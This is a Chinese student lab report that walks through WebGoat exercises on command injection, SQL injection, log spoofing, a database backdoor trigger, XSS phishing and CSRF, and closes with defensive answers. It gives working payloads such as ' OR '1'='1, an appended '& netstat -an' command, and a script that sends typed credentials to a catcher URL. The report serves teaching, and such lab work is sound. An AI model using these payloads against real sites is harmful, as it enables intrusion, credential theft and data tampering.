2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础

目录

一、实验内容

二、实验步骤

1、Webgoat前期准备

2、SQL注入攻击

3、XSS攻击

4、CSRF攻击

三、实验中遇到的问题

四、实验总结

1、实验后回答问题

2、实验感想

一、实验内容

本实践的目标理解常用网络攻击技术的基本原理。完成Webgoat实践下相关实验。

返回目录

二、实验步骤

1、Webgoat前期准备

  • 从GitHub上下载jar包,并拷贝到本地
  • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat
  • 打开浏览器输入localhost:8080/WebGoat,使用默认名和密码登录WebGoat课程

返回目录

2、SQL注入攻击

  • 选择Injection Flaws

Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。

  • 右键选择Inspect Element进入调试界面,对源代码进行修改
  • 选择在下拉列表的BackDoors.help后面加上"& netstat -an & ipconfig",其中netstat -an命令能看到所有和本地计算机建立连接的IP,而ipconfig可以查看本机IP信息

  • 点击View,可看到命令的输出结果,即所有和本地计算机建立连接的IP和本机IP信息,攻击成功!

返回目录

Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。

  • 右键选择Inspect Element进入调试界面,对源代码进行修改
  • 在选项列表中,任意选择一个值,比如101,后面加上or 1=1

  • 即可看见所有城市的天气状况

返回目录

Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

  • 在文本框中输入用户名yanhan%0d%0aLogin Succeeded for username: admin,其中%0d是空格,%0a是换行

返回目录

String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。

  • 在last name中输入' OR '1'='1,由于'1'='1'是永真式,所有的用户信息将会被输出

返回目录

LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage

Stage1:String SQL Injection,即字符串注入

  • 和上面的任务一样,在密码框中输入' or 1=1 --,可以在不知道密码的情况下登录账户Neville

Stage3:Numeric SQL Injection,即数字型注入

  • 和上面的任务一样,修改网页代码中的value值,value值是员工ID,而要设置成老板的ID,可以使用排序来筛选信息,因为老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc --,就可以以员工身份查看老板的工资了

返回目录

Database Backdoors,即数据库后门

  • 在输入框中输入101; update employee set salary=6666可以更新员工工资,没有经过任何验证就可以简单更改数据表

  • 同理可以设置增删查改语句对数据库进行操作

  • 在输入框输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为john@hackme.com,攻击者就可以通过邮箱接收到消息了~

返回目录

3、XSS攻击

Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。

  • 先编写一个有用户名和密码输入框的表单
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
  • 再编写onclick时对应的hack()函数
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
  • 最后将两个代码综合在一起,直接输入搜索框,设计出一个简单的登录界面获取用户名和密码,并弹出警告框

返回目录

4、CSRF攻击

跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。

  • 查看右边列表参数,在title框中输入任意标题,在Message框中输入<img src="attack?Screen=380&menu=900&transferFunds=100000"/>,当满足Screen值为380,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。

返回目录

三、实验中出现的问题

  • 实现SQL注入攻击中实验室注入攻击时,出现输入的SQL指令没有问题,但是登录失败的问题

解决过程:

由于源代码规定了密码框长度为8位,故编写的SQL语句无法完全写入密码框,在源代码中更改密码长度即可。

返回目录

四、实验总结

1、实验后回答问题

  • SQL注入攻击原理,如何防御

对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;

关闭或删除不必要的交互式提交表单页面;

普通用户与系统管理员用户的权限要有严格的区分;

不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。

  • XSS攻击的原理,如何防御

网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则

表单提交的时候进行特殊字符的检测

对输入框做长度限制

在后台对数据进行过滤

  • CSRF攻击原理,如何防御

使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;

将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源

定期清理cookie

使用随机数对表单中的值进行验证

返回目录

2、实验感想

终于是最后一个实验啦yeah!通过这学期9个实验的漫漫长路,我发现自己学到了很多新知识,对网络攻防的内容也有一些兴趣,虽然很多方面做的还是有所不足,但是仍然收获颇丰,至少我明白了网络环境危机四伏,不要轻易在网络上泄漏自己的私密信息。

返回目录

2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础的更多相关文章

  1. 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践

    20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...

  2. 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础

    2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...

  3. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  4. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  5. #20155232《网络对抗》Exp9 Web安全基础

    20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...

  6. 20155302《网络对抗》Exp9 Web安全基础

    20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...

  7. 20155308《网络对抗》Exp9 Web安全基础实践

    20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...

  8. 20155323刘威良《网络对抗》Exp9 Web安全基础

    20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...

  9. 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

    20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...

  10. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

随机推荐

  1. halcon机器视觉工程开发思路

    参考:halcon学习笔记——机器视觉工程应用的开发思路https://www.cnblogs.com/hanzhaoxin/archive/2013/02/15/2912879.html

  2. ASP.NET Core 3.0 WebApi 系列【2】.Net Core 3.0+ CodeFirst + MySql 实现数据的迁移

    写在前面 在前一小节中,我们创建了基于RESFULL风格的服务.这个小节,尝试使用CodeFirst+MySql 的方式实现数据迁移. 一.开发环境 [1]运行环境:win10 家庭版 [2]开发工具 ...

  3. 阅读prettytable 一些代码、get、set 检查参数

    阅读代码是因为我发现官方教程里的代码在本地不能用,所以就通过”查看定义“转到了源代码里. 通过阅读源代码,查看方法内是否有教程中所说的方法名和参数名,然后再通过”查看引用“来试图了解函数的流程,如果没 ...

  4. saltstack的简单搭建

    环境; centos 7     192.168.10.10    master centos 7     192.168.10.129  minion 1.为了方便关闭防火墙 [root@local ...

  5. Python学习笔记之try-except

    Python使用被称为异常的特殊对象来管理程序执行期间发生的错误.每当发生让Python不知所措的错误时,它都会创建一个异常对象.如果你编写了处理该异常的代码,程序将继续运行:如果你未对异常进行处理, ...

  6. PAT 1024 科学记数法

    PAT 1024 科学记数法 科学计数法是科学家用来表示很大或很小的数字的一种方便的方法,其满足正则表达式 [+-][1-9].[0-9]+E[+-][0-9]+,即数字的整数部分只有 1 位,小数部 ...

  7. ES6环境搭配(一)

    一.Node(NodeJS.Node.js)的安装:1.下载官网下载地址:https://nodejs.org/en/ 2.安装a.Linux先将安装包解压,然后进行环境变量的配置即可b.window ...

  8. python3 内建函数filter

    Python内建的filter()函数用于过滤序列. 和map()类似,filter()也接收一个函数和一个序列.和map()不同的是,filter()把传入的函数依次作用于每个元素,然后根据返回值是 ...

  9. Kubernetes概念之mater、node

    很久没写博客了,终于把重心找回来了,不过没有以前有斗志.有理想.有目标了.慢慢来.你若问我我最近几年的规划是什么,还真不知道.突然发现摧毁一个人真的很简单.k8s也是一遍一遍的从入门到放弃,还是要好好 ...

  10. unity点击按钮弹出操作提示界面

    1.首先在相应的位置添加一个(UGUI控件)image,在image下添加文本框和按钮设计弹出框内容如图: 2.新建C#脚本UITips using System.Collections; using ...